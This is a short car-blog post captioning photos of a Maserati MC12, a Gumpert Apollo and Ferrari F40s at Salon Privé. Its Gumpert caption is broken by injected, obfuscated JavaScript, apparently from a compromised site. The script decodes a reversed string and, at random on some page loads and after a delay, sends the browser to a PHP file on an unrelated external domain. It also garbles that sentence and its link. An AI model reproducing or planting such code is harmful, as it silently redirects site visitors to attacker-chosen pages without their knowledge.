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At the other side of the spectrum is this Maserati MC12, and a demonically painted example to boot. Built specifically to allow Maserati to compete in the FIA GT Championship in the early 2000s, only 50 of this 6.0-litre V12-powered supercar were available to customers. Flare, panache and poise all came at a price though, and that price is around three-quarter of a million dollars.
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Poignantly, given $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/shot-of-the-day/shot-of-the-day-not-over-yet/” target=”_blank”>the company’s tumultuous financial state, this Gumpert Apollo stays close to the sidelines at Salon Privé. A shame, especially considering the brute force and theatre available in the engine bay. Indeed, back in 2009, the Gumpert Apollo Sport lapped the Nordschleife in a staggering 7m 11.57s: only two cars – both Radicals – have ever beaten that.
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And if you thought we’d miss the chance to showcase the mac-daddy of the supercar world – the Ferrari F40 – then you’re sorely mistaken. In fact, a couple of Luke’s shots caused quite a stir in the crankandpiston oval office. Many of us considered the classic Maranello scarlet to be the only colour suitable for this twin-turbocharged V8, 320+kph monster…
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…but a few of the chaps also found this light blue example tugging at their heart strings. The argument continues, and we’re interested to see which side of the fence you’re on.
